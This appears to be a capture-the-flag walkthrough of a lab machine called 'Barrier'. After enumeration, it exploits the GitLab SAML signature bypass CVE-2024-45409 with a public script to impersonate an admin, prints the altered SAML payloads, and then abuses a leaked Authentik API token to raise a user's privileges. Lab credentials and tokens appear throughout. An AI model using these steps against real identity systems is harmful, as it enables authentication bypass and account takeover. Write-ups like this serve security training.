Overview
- Type Machines
- OS Linux
- Severity Medium
- Creator xct
- Release date 2025 Jan 2
Enumeration
Start the instance via Discord and let’s go (waiting 5 min to be sure the instance is fully deployed):
10.10.67.143
Nmap
$ nmap -sC -sV -Pn -p- --min-rate=1000 -T4 10.10.67.143
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-03 19:46 JST
Nmap scan report for 10.10.67.143
Host is up (0.26s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 3072 f3:6c:aa:fe:2c:20:f6:55:a0:5b:61:54:cf:39:17:d0 (RSA)
80/tcp open http nginx
|_http-title: Did not follow redirect to https://gitlab.barrier.vl:443/
443/tcp open ssl/http nginx
|_ssl-date: TLS randomness does not represent time
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was https://10.10.67.143/users/sign_in
| http-robots.txt: 58 disallowed entries (15 shown)
| / /autocomplete/users /autocomplete/projects /search
| /admin /profile /dashboard /users /api/v* /help /s/ /-/profile
|_/-/user_settings/profile /-/ide/ /-/experiment
| ssl-cert: Subject: commonName=gitlab.barrier.vl/organizationName=Mycompany/stateOrProvinceName=GD/countryName=CN
| Subject Alternative Name: DNS:gitlab.barrier.vl
| Not valid before: 2024-12-15T16:52:03
|_Not valid after: 2025-12-15T16:52:03
|_http-trane-info: Problem with XML parsing of /evox/about
8080/tcp open http Apache Tomcat
|_http-title: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
9000/tcp open cslistener?
| fingerprint-strings:
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Fri, 03 Jan 2025 10:47:23 GMT
| Location: /flows/-/default/authentication/?next=/
| Referrer-Policy: same-origin
| Vary: Accept-Encoding
| Vary: Cookie
| X-Authentik-Id: f32de2d7d2a54b0a84a1eca8cb41d2f7
| X-Content-Type-Options: nosniff
| X-Frame-Options: DENY
| X-Powered-By: authentik
| HTTPOptions:
| HTTP/1.0 302 Found
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Fri, 03 Jan 2025 10:47:23 GMT
| Location: /flows/-/default/authentication/?next=/
| Referrer-Policy: same-origin
| Vary: Accept-Encoding
| Vary: Cookie
| X-Authentik-Id: d112b0ca78de401d95ffea5ef261215d
| X-Content-Type-Options: nosniff
| X-Frame-Options: DENY
|_ X-Powered-By: authentik
9443/tcp open ssl/tungsten-https?
| ssl-cert: Subject: commonName=authentik default certificate/organizationName=authentik
| Subject Alternative Name: DNS:*
| Not valid before: 2025-01-03T10:35:45
|_Not valid after: 2026-01-03T10:35:45
| fingerprint-strings:
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Fri, 03 Jan 2025 10:47:25 GMT
| Location: /flows/-/default/authentication/?next=/
| Referrer-Policy: same-origin
| Vary: Accept-Encoding
| Vary: Cookie
| X-Authentik-Id: 6bdaaeaaf2b041ccbc45b0fc9e879cbf
| X-Content-Type-Options: nosniff
| X-Frame-Options: DENY
| X-Powered-By: authentik
| HTTPOptions:
| HTTP/1.0 302 Found
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Fri, 03 Jan 2025 10:47:27 GMT
| Location: /flows/-/default/authentication/?next=/
| Referrer-Policy: same-origin
| Vary: Accept-Encoding
| Vary: Cookie
| X-Authentik-Id: ac440b20094645528b9a6174628e745f
| X-Content-Type-Options: nosniff
| X-Frame-Options: DENY
|_ X-Powered-By: authentik
add
gitlab.barrier.vl,barrier.vlin /etc/hosts
Web instances
Gitlab instances (80/tcp redirect to 443/tcp):
$ cat gitconnect.py
import requests
from urllib.parse import urljoin
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def get_gitlab_repos():
base_url = 'https://gitlab.barrier.vl'
api_url = urljoin(base_url, '/api/v4/')
auth_data = {
'grant_type': 'password',
'username': 'satoru',
'password': '***'
}
try:
session = requests.Session()
session.verify = False
response = session.post(urljoin(base_url, '/oauth/token'), data=auth_data)
response.raise_for_status()
token = response.json()['access_token']
headers = {'Authorization': f'Bearer {token}'}
projects_response = session.get(urljoin(api_url, 'projects'), headers=headers)
projects_response.raise_for_status()
projects = projects_response.json()
print("Available repositories:")
for project in projects:
print(f"\nName: {project['name']}")
print(f"Description: {project.get('description', 'No description available')}")
print(f"URL: {project['web_url']}")
print(f"Last activity: {project['last_activity_at']}")
print("-" * 50)
except requests.exceptions.RequestException as e:
print(f"Error occurred: {str(e)}")
if hasattr(e.response, 'text'):
print(f"Response text: {e.response.text}")
finally:
session.close()
if __name__ == "__main__":
get_gitlab_repos()
satoruaccount exists, need to find the password or the bearer token or any way to bypass the authentication
Quick check on the user activity and found his password:
Found
satoru:dGJ2V72SUEMsM3Ca
Found
Gitlab Community Edition v17.3.2
$ gobuster dir -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt -u https://gitlab.barrier.vl -b 302,404,412,403 -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://gitlab.barrier.vl
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt
[+] Negative Status codes: 302,404,412,403
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/search (Status: 200) [Size: 15739]
/help (Status: 200) [Size: 30050]
/public (Status: 200) [Size: 22499]
/v2 (Status: 401) [Size: 0]
/explore (Status: 200) [Size: 22531]
/akadmin (Status: 200) [Size: 22453]
...
Found akadmin user:
Tomcat instance:
Authentik instances:
Can connect using the satoru’s credentials:
Click on Guacamole (https://barrier.vl:9443/application/saml/guac/sso/binding/init/ –» http://barrier.vl:8080/guacamole/) but we have just a default display as below:
CVE-2024-45409 - GitLab Authentication Bypassing (akadmin)
As we found that Gitlab is a Community Edition v17.3.2 so it`s vulnerable to CVE-2024-45409.
Note
$ git clone https://github.com/synacktiv/CVE-2024-45409.git
$ sudo apt install python3-lxml
We found also that there is the possibility to use SSO to authenticate:
We start Burp and intercept the URL and Base64-encoded IDP (via the Authentik page) SAML response:
GET /users/auth/saml/callback?SAMLResponse=nVjZjtu6sn3XVwS9H41EsyU3doKr0ZZtzbNfLjRQg63JGmxJX3%2Fk7nR2OjvJyb1AA26WiouLxSqSi393QVk0zwbomrrqwIexLKru%2BcX4%2BWloq%2Bc66PLuuQpK0D330bPJyMdn7BPy3LR1X0d18fRdl9%2F3CLoOtH1eV29d4u7zU9b3zTMM3%2B%2F3T3f8U92mMIYgCIxs4MUn7vL0rzfvMv49fAn6IA764M1%2FBFX0C3wURogH%2FuKxwDug7RZWn58WlKcPUtcNQKq6Pqj6xYRg5EcE%2FYiQFoI8I%2BQzuj49feBB1%2BdV0L%2F0eozQLUOkeV8E4acwaNsctJ9uBTws8%2B3gYOgz%2BBEdOAqKIgyiyzII%2F%2Fnpf3EUYEEUYhsUoQmEiIMNgdAxQQVYjBMYFj19%2BfvR7fmFUfvlgQOqPr%2F8DX9v%2Fvt1Ac0%2B6IfufYurY%2FDBCYoB%2FD5y3Yv3szlEEei6J%2FjL6wjvQZ%2BZt%2BX7MWCPuWDRhkaQcENSJCCQONng65BASJKKcQpfJ8kfxfXP5hsvTPN0if7Qgi%2FQWxPEUpXUr20uqOoqX6Kdzy9rJIM%2Bq%2BMPTJHWbd5n5S%2BzAkUeWfERjNHHCCWqv5ZQQO%2FG%2B2Ok1%2Fx65O%2FHsm7BX20XfOyyACPXb5gGSEC7JCD4YBvS56e%2F%2FnsIX%2FtZbVB1Sd2W3Q%2Ft%2F8rqXVWB6gaKugHxx%2B5tcm%2FM%2FhzxFxGDf0KTz9OlaP6P8XvU5%2FuovcK85PQXc3PYuWbIZTtzT6GFYyQaWppC7TJR7dqOujql3szexqZDPr9w%2Br7zK8tvi%2FC1%2FWMmfVv41075MZ8MgN4OOz2UhAlu%2BMi97uxpXsvIuZbYps606ppdRqS5%2BJpdGINRcFysrY84eUkTD5pMvbVcxreVVJX1UySeSJtQTyePs1Ze5mOqSchmSLgeHChxTe7gcu%2BzqCuQiJp6TGxABVIqjULr2eyh%2B8wKVY1ebWNrn7WCAqJUT2XPdZHDxSs7Hd7l%2FFyDWEv9HHFtKuvOHURvHWWm8lws61UqCtsjYw7kOhrmUO0ty5kO%2B7oXppAmnX7bpuHU6REebPbCKfYcIpt5yCbTUBEoW77e1Fj2xCk7nSRUPVBTQa9Qu9qZ1poNfA7fU3ib8tVc6bbfCpvSmIhRR02ovXKCIHNdbhaKJrLXEk4iKrvBML4JPTkFFXYNTkxdJF6W2UiJg7OBq0cN8MweHMAoQmQQOrOLrScw7SOgMeqYY2zgzDyf7g9WZjUmiXXm1ckch2yvDteuo2LLOEYsysFasmMIHzTC3eB7FncP1HzkiIoKT46324VH0CQnarSrkZjA2T72BmGK5ytDHQB%2FOamoodu4eINYNdfkLrRPGD6ZbnnV2qZgCiIKDhZHmAfiXBy3Yn1AC%2BbSmwd%2BiB2%2B0ITUvDJd7eL3EKLGfHPe3w5ea8g8357Wuqol0%2BwlRp%2Fv82vcH4yreWTplKQ63nJu8qVAbHgNMDTnAx%2FXoLiWRnLs9SbM6vFeozZppAU%2Frq560pwp6opgdhY1zH1fyZ%2B%2FZfZ3mfyS3Qcw%2FZPqHols%2BOX4%2FKfFPbb7ZNlHe%2FBFliTRnjmOmYeUuUssk0r6odfNDTmrVr62s5BS67Imep5R2PSy1EC%2B3dwRltE7keEZAMnG%2Fb5Nfd7RdZ5nlSz2jPrkkkjgdql8ZiaFI0aZI1CZJTzekhDZkkaFF1B5Tu8KWnvQYkRfjNY34905C1eZS7cMagvM%2FZ75noMEW2eIt0UriUoRbv0%2BwooqLJ0LJAlKEVVGcyqLs%2B8ZhWxId4F5YXTgmeJ7RqPIMyabKg7LdDKHvgJBb0hLLDjp%2FOM8BZFhVI5JaebxnUsPy%2F8LKcKkt9sEGxGKhXJ%2BEnncOuy27KYXK8SQEBGUp4BLuBEzbHe%2Bcs5q0mZ2lcwcqiW0LaeSRscpOJUNvtOhLR6fm4bP8vNKWpWCdTvqsalndHvZTL0tuyg4pop1U4QdIu3QUdgLUblTLe0emUoL5gs0STWintwtKza0U%2BDpdj5GYD80cTBsRNvPHXVLNMCOzXPra%2BvxqNCSVqPrQ4auzvTIr6DziVau58sIbw0KKZNUO19NFRUY7tzspvOcde1wIPDYmiI%2BHK9q7aN4Y7TCWFP2xi8EFZrFtumBhqHd7jjHyGVFI5x2hU%2BaW3idFCR7lN6r4kp3OZ4%2BwDuxDLlmk2cx3ujm6XoJIGQ3YrMhTiPLbu997d7Uo3tZXVdh6B9jz89NT90Fp2mkQ03c4DZ21WweseKVBPSGHqoRMtt2cB0KOZJs36H5tI70kr7BCWqIsI70utakJhNs4WyMzFRliPF4Zz0DncC2SlwNv0POYLWmxNhqOJWrdM8S6XYnauU2rqaN22eyboIwnNiteN6xUXEdXMYirJSyzG2KkaZ%2FgcQa9vydTpQrK2wkhjL87twC5nJe71QmkOm0GzzqujvGCnXHiS1ZEMC75RpSiVq9x70bdOI22VoZueF2DXZCwq42qwhgRT4ItC%2F6TFi7%2B6MfyW20YvnBQrY9aWgdLdo2l97sldZAas6zan%2FUS3cze5xOmscw1mycqQQ52E8dxyyVwQSKI4vy3daXGjEQg9F3MCtEd8Pf85Bq773okh0CkS3kyhBMfK9ECDHZc7HXUaORxaYyEUM3nSyw0YZ33LH2TXI%2BuWN59JQGOmFkceLIKsRENN5mRbhUZjCRTTj%2FZAN5KSyBabtM8pAEFB0oIIvmqRyMVVyvOozCAmRJXjg76fb6rGqXez7JWEoe2pE9zK7KWpcBH4uLCF9BOlwip75AK8FXvMEfjEnaqGJineaBVyr5sp%2BmMaade3bvSWVvHG1%2FX3hDw9y09pKsrUtScvtiOyWQr81lGWuxt%2BPEfj%2BW075WEWQ4StMKWU4JTWBQNb9zeUwHeiQyMDqQrGUG%2BOHE1mtW5CA9U47wavTqVS3PaHQ6CC2dcRid26N5OyY603t6r1WbtEHJ27GgTkmtcaJxTHGBR291A8VnpnJ3Edch%2B6XUCrXfxL557odckGblss9lUk0BRqsR6%2FumFyJg8IvzbIXjrNXkoaegjNvtZyXxlrUsjmLeTpx6ZDHhVOJriRvYoxOecsaYdiGtXgy9XPb4PTzc3MGMdl51VBGoscxk0%2B1Qs%2BT97fmCwxp%2Fvux2eyYORB1DB4atEsktyrNIdINVOpIctr2t9lllxI0HJxCf8iHskyR6PibeDvMpWPWWO1h2h4PdbTMQlri2%2FGuj3GO535651UYSqFVzWB%2FuF%2FiADBRky54as77rE%2BFNbDLV5dEu3el%2BfMWYZROrhINdH6cCv1%2BCWHFbzLG5kt8fOQmldvjYDlAytCh1oXq0UW52cLaBd2Xba5ocr05iquklMTLBzK%2BOc7r5pNCeSE4%2Fz5tIcqdFp438AG0rBibLiwpjPq%2FgsAIQ0quSleywK7oa7p9fr5Y%2Fnqj%2FWL%2BeuvC7E%2Fndmf1VGJlDeAZR%2F7WlLDpO4j%2BIyx076H8t8NBP6Isljz8mL67PQ9U1IFp4gPjpSxf0dTt8lVivkO9H4%2BoqyR%2F9Hsrv9f7%2BezUZlc8hCFrQPv0a6DHlD0rdq5XaMkkP2h8VIYq8Km1jIdrk4CEZ%2Fx86%2B03J%2FozCD5%2B%2Bcl084vzxuXvQY8ESMvAvtfqV2x%2Fwh9%2B088KteqhpUC5z%2BfDS%2FJUW%2FopuLlJ84SFVMRg%2FPyUUFWAUvcESKiHW63VAkxSaRHRCIQhBgWiNYGua3IQBHuJYlCABEUYUHpIolWBREGLf8H5GGv%2BIrP8tw19ILvHowdj%2FxMQVQdct%2BunLb598oufo4beYteXnXrex1tb9Em8QvyjEpm77rwvxU%2FCffHtn%2BxbTN4Z93%2Bbh0INffvjwSPJvurOLMlAG3adFbHZ10LwI0Hv30KAkvPzl8eMFop%2FgZRZ52cGLb14Ecdw%2B3kl%2BRH69Wb8W1P%2F8k55vdN%2B7%2FWj9l%2BG7CcDv31%2B%2BPc%2B8Pdp9%2BQ8%3D HTTP/2
This SAML Request is:
- deflated
- utf8 encoded
- uri encoded
We can proceed manually using CyberChef to retrieve the XML clear data with the method:
- uri decoded
- base64 decoded
- inflated
- utf8->utf16
Or we can use Ping Identity’s saml decoder to do it more quickly.
But we can also use the Extension SAML-tracer by Jaime Perez, Thijs Kinkhorst, Jan Köhler:
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" xmlns:xenc="http://www.w3.org/2001/04/xmlenc#" Version="2.0" IssueInstant="2025-01-05T00:54:55Z" Destination="https://gitlab.barrier.vl/users/auth/saml/callback" ID="_6c9fde7392f64ca887da0d2ad75d916a"><saml:Issuer>authentik</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion Version="2.0" ID="_25d2d37f6e014192b393b8976d8fc271" IssueInstant="2025-01-05T00:54:55Z"><saml:Issuer>authentik</saml:Issuer><ds:Signature>
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#_25d2d37f6e014192b393b8976d8fc271">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>0CCVaYHS66qP4kz645SZWz/Gr501NCOCo8the84n79E=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>W4ifkVtzgJ1tb35tvCi73LP2Ws3fRoaGL3gCrB1ckVEPgbD8ZLOczjsHqaCF9hMK
Y9WBnnuw6uH1qDVgRnHMAuxJpH7uZAU6reZWWbVeCMCI5mM3esIGNLGwTTwySW72
OJjLpZZjDDGNQ5Dv7igWkOpu6qvsv6fE530L4hT4W68sF4Ieikx2l59n6J0xL5YG
wUM1d2/gft3aQrOWQpXnk3riX0xkHhjy/Uw26GdeGTTRGE5eGPdh+SemhojRdH+f
y+tyN2WVDI+W4h8QFuJ/B+86g5utmICQEW3kE/3YWou5yWa8PKd3pSJFLDuGdCYo
w/IRYA6lQlmceVMTLpv8bsUxspdrFxnhcrcEkyT8iitH5yztnCQuOOQoOrPLJRxJ
vV446QG0oSms6c4lJXReWKMJ3YCIurS09D5wGfphIB1AIMDNxYjGkp/0HwzUAZML
MHKBpHjVyitoGscnQJ51lm+Xp5CMlNr8WNeROtkvt0XLGpswW7ZvWQKlVNCWR5Vi
zE9AU6epbAbmrUguCKaioQxmOHALXl8YW7rJ+rTlGbfFEzh8bAmIHqVRthWyNMGR
urrfW9ZkKtvQqCVR7YwEh1RSs+TlaQ0jimm9wMz8Odr7PJ5pfxLEHgH5h5EgHjmc
Wf2S3rXD9MT1VqTms254FA5SEqdgoFvcOylPQObExR8=</ds:SignatureValue>
<ds:KeyInfo>
<ds:X509Data>
<ds:X509Certificate>MIIFUzCCAzugAwIBAgIQKtQS95zOTi6Uhb7Oomo4tDANBgkqhkiG9w0BAQsFADAe
MRwwGgYDVQQDDBNhdXRoZW50aWsgMjAyNC4xMC41MB4XDTI0MTIxNDE1MzgwN1oX
DTI1MTIxNTE1MzgwN1owVjEqMCgGA1UEAwwhYXV0aGVudGlrIFNlbGYtc2lnbmVk
IENlcnRpZmljYXRlMRIwEAYDVQQKDAlhdXRoZW50aWsxFDASBgNVBAsMC1NlbGYt
c2lnbmVkMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAw4S8GGf2x07B
iDyFD3TKHGB9tFn0RI0FemZaCfCx2RUWzqCV+yPzB+fzC1Pf8UMgIP8dgeZmp3HQ
G3djppDhij+I+mETvLQdSQh8rk9ytUMW1eLgNTvNEH0IH1xEJEcmHOTPwcSNrezk
yIo0OZWGBFp8Vl3gGzLceJupdau9FUYiVOG4peUdSjrYP6xLN8IPo16Kh1+j8xD+
jZ8Nqjkx/GR70mfgPjqSO1EACjpHyjzhsruK43dTycDbxqOoY13pRrExo7U9YlEO
zFrpteP21sHLzd0k+80CPq/ZPWlXsIafJ18JOF+QWCD8K/HFmbCp9ihd3pQSZqka
0Hx2zRFyxBBGwtoWvOLWk+q+bbYLdXYiSXOHaZyx8bPF93U2qPUD0Td+IeQp8unx
SrruWV70L5Bts1iy6cQm8v/f1RF/Q0tQPpgSAaG/hxcSgOA4xLwBXR1yeGnfWP3w
VuTrSIAUObym+gJB4gGHFPmGdny9WthMQSebbyBGFjHBclquWAT4Tg7TSGg25SYk
Fo/XYHQ4m+TbpIA7RYsjreAkj6HOAaM8gsuX7qHLdN7w34G5l4eXviP0nFPoJ3Xv
ZC9h6NxCuvqaHEfB+9+ce2liuE8YFYAboWJLYcMrc+BDuT0Gt5RPs8FUUCgvU+Pp
OiDBOtLQmW9zXCQ5SLbdPU3AnEMaJysCAwEAAaNVMFMwUQYDVR0RAQH/BEcwRYJD
OUJXckhKaFBlMnRES3JNc04yUzlJQ1RpMFpnS0RQSVhaU1pDVWxoYS5zZWxmLXNp
Z25lZC5nb2F1dGhlbnRpay5pbzANBgkqhkiG9w0BAQsFAAOCAgEArshIX0felsel
T8D7iexndo+s272a0iVO/hZQU6jOPkwiyM2g5KrxBKzWOBTku3xlkF/qegukcVok
+EYNXuYuRyI9OFfTZzuDNnMkJyyxd8Vwhwt5NJRLUYJlXupAvPrkf6TkfmCJlGyf
YPzmmdPdXHCFtJxmyJoO00uLIy+03FvPEA1OiwCid8aQcFA/1u5BTSa3KZBo6BFC
QhNL/+xXo+oMz1cZKEr8hC28iUxSvLfQAtXQtPn9gp15vLl7ZfoPCFRLg3ED1vop
djAnWHcCs0JOoYlOt9dYSjtuiEIzNkJiM5Oge28OcBYYSXb0euYljzTbxzPo5Kt7
hCHJzNfXXcklLFiryCOLB2EZm36ICuBLVbZiARyHb8OkRQm7OoJ/uvWuScHXnLO0
pTSf9sH1SmDYGjk3/PDjkHHJAdaFQ21uABnfIWlmjF4suTmVIMbrtUOthnRdpX/f
DgDb/Y551jLfXH2Y7/OXgnehw/aHv9u4TF6TYqpNwdMtGjC+9IE7+pK6Kwk/K0u7
UMXOdBYWY4bvFphOWD1sgHQYdq2ArYPnEKUoLyl3wkadNWr2VUCmDJLCI17H3xru
fur17k7t1pNvUajUeXqBrqgfLqVfSOgkfRhESiqVVZvY5ErZ5CQjz9cIWy2d3xDu
GnA/5mkO/2YDN3/Ne05Xnf+MVB+8nuw=
</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">satoru</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2025-01-05T00:59:55Z" Recipient="https://gitlab.barrier.vl/users/auth/saml/callback"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2025-01-05T00:49:55Z" NotOnOrAfter="2025-01-05T00:59:55Z"/><saml:AuthnStatement AuthnInstant="2025-01-05T00:49:55Z" SessionIndex="f77a27892f7f4666a8571fc8f70047ec6026859ba3b32cf0a4bc73b517f2cab2" SessionNotOnOrAfter="2025-03-06T00:54:55Z"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress"><saml:AttributeValue>satoru@barrier.vl</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>
OR we have also the straightforward extension SAML Message Decoder by Magnus Suther:
Then just click on Copy this message.
Warning
- Be careful that SAML Response is valid only for 10 minutes:
- <saml:Conditions NotBefore=“2025-01-05T00:30:15Z” NotOnOrAfter=“2025-01-05T00:40:15Z” />
- So if needed to alterate it, we need to do it before the ending time
We use GitLab Authentication Bypass (CVE-2024-45409) exploit by Synacktiv:
- Put our original SAML Response decoded XML to the file
response.url_base64:
$ more -n 10 response.url_base64
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09
/xmldsig#" xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" xmlns:xenc="http://www.w3.org/2001/04/xmlenc#" Version="2.0" IssueInstant="2025-01-05T00:54:55
Z" Destination="https://gitlab.barrier.vl/users/auth/saml/callback" ID="_6c9fde7392f64ca887da0d2ad75d916a"><saml:Issuer>authentik</saml:Issuer><samlp:Sta
tus><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion Version="2.0" ID="_25d2d37f6e014192b393b8976d8fc
271" IssueInstant="2025-01-05T00:54:55Z"><saml:Issuer>authentik</saml:Issuer><ds:Signature>
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#_25d2d37f6e014192b393b8976d8fc271">
<ds:Transforms>
...
- Modify the XML content using the script:
$ python3 CVE-2024-45409.py -r response.url_base64 -n akadmin -e -o response_patched
[+] Parse response
Digest algorithm: sha256
Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched
- Copy the altered content:
$ cat response_patched
PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIHhtbG5zOmRzPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIiB4bWxuczptZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOm1ldGFkYXRhIiB4bWxuczp4ZW5jPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGVuYyMiIFZlcnNpb249IjIuMCIgSXNzdWVJbnN0YW50PSIyMDI1LTAxLTA1VDAwOjU0OjU1WiIgRGVzdGluYXRpb249Imh0dHBzOi8vZ2l0bGFiLmJhcnJpZXIudmwvdXNlcnMvYXV0aC9zYW1sL2NhbGxiYWNrIiBJRD0iSUQtMGZlMThkODYtY2ZhYy00N2ZjLTljZTgtNGM3MGQxY2NjNGFkIj48c2FtbDpJc3N1ZXI%2BYXV0aGVudGlrPC9zYW1sOklzc3Vlcj48c2FtbHA6U3RhdHVzPjxzYW1scDpTdGF0dXNDb2RlIFZhbHVlPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6c3RhdHVzOlN1Y2Nlc3MiLz48c2FtbHA6U3RhdHVzRGV0YWlsPjxkczpSZWZlcmVuY2UgVVJJPSIjXzI1ZDJkMzdmNmUwMTQxOTJiMzkzYjg5NzZkOGZjMjcxIj4KPGRzOlRyYW5zZm9ybXM%2BCjxkczpUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIvPgo8ZHM6VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCjwvZHM6VHJhbnNmb3Jtcz4KPGRzOkRpZ2VzdE1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZW5jI3NoYTI1NiIvPgo8ZHM6RGlnZXN0VmFsdWU%2BUmdBTGxrZ3dMSFFLS2RDd3dBWkxHcUx0MzhkdWNOYzRybVR4SkNveU85QT08L2RzOkRpZ2VzdFZhbHVlPgo8L2RzOlJlZmVyZW5jZT4KPC9zYW1scDpTdGF0dXNEZXRhaWw%2BPC9zYW1scDpTdGF0dXM%2BPHNhbWw6QXNzZXJ0aW9uIFZlcnNpb249IjIuMCIgSUQ9Il8yNWQyZDM3ZjZlMDE0MTkyYjM5M2I4OTc2ZDhmYzI3MSIgSXNzdWVJbnN0YW50PSIyMDI1LTAxLTA1VDAwOjU0OjU1WiI%2BPHNhbWw6SXNzdWVyPmF1dGhlbnRpazwvc2FtbDpJc3N1ZXI%2BPGRzOlNpZ25hdHVyZT4KPGRzOlNpZ25lZEluZm8%2BCjxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCjxkczpTaWduYXR1c...
<sniped>
- Send our original SAML request to the Repeater:
- Modify the SAML content by our altered content from
response_patched:
- Forward it to our current browser session:
http://burpsuite/repeat/2/dao9ydxlwf6335c2ajajgmyvothkbeup
Successfully logged in GitLab as akadmin
We have now the session cookie of akadmin so we can keep it and reuse it if we loose the access to our machine for any reason:
We are now admin of GitLab:
Authentik API abusing (maki) (Barrier_User)
In Settings > CI/CD > Variables, we can get the token:
Found
AUTHENTIK_TOKEN:MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc
We can see also a Runner:
The docker runner is set up with host networking (from Gitlab showing its IP address as 172.17.0.1 which would be the host, the ip a output confirms it), so maybe something can be exploited from there…
We back and check what we can do with the Token:
Confirmed we can use the Token to be authenticated as
akadminin Authentik page
But to be logged in the Authentik portal the authentication is based on user:password then we need to get or modify the password of akadmin.
Following the documentation https://docs.goauthentik.io/docs/developer-docs/api/#api-token, we can use our token for API.
Following https://docs.goauthentik.io/docs/developer-docs/api/reference/core-groups-retrieve, we can check users under the authentik Admin group:
Then via our previous connection, we can see the user number for satoru:
Then we can grab the list of all users:
Found a new user named
maki
Following https://docs.goauthentik.io/docs/developer-docs/api/reference/core-groups-add-user-create, we add satoru in the authentik Admin group and set superuser as true:
PATCH /api/v3/core/users/34/ HTTP/1.1
Host: barrier.vl:9443
Cookie: authentik_csrf=b2B7TeCN0TRozGnSyb5ovRp6brR59UoT
Authorization: Bearer MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc
